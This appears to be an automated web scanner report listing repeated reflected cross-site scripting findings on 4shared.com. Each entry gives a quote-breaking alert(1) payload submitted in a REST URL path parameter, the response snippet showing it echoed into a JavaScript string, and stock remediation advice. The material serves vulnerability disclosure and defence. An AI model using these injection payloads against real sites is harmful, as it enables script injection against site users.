The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 44c1c"-alert(1)-"a0a1c09ce47 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images44c1c"-alert(1)-"a0a1c09ce47/icons/16x16/close.gif"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedb ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9db94"-alert(1)-"6dac60dedfd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images/icons9db94"-alert(1)-"6dac60dedfd/16x16/close.gif"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f7aec"-alert(1)-"b86c9662edb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images/icons/16x16f7aec"-alert(1)-"b86c9662edb/close.gif"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() {
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ad02c"-alert(1)-"a953950d00e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images/icons/16x16/close.gifad02c"-alert(1)-"a953950d00e"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 760a5"-alert(1)-"158d4163382 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images760a5"-alert(1)-"158d4163382/icons/16x16/stop.gif"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedba ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 73080"-alert(1)-"bd5e5c0b567 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images/icons73080"-alert(1)-"bd5e5c0b567/16x16/stop.gif"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b306f"-alert(1)-"f931fa8a6ff was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images/icons/16x16b306f"-alert(1)-"f931fa8a6ff/stop.gif"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() {
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 34543"-alert(1)-"e3036abd11 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images/icons/16x16/stop.gif34543"-alert(1)-"e3036abd11"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d12c3"-alert(1)-"47c5b2bb8a7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/imagesd12c3"-alert(1)-"47c5b2bb8a7/icons/misc/upload.gif"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedb ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9e2cc"-alert(1)-"2ebb09db008 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images/icons9e2cc"-alert(1)-"2ebb09db008/misc/upload.gif"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e87a8"-alert(1)-"2d8bde7f418 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.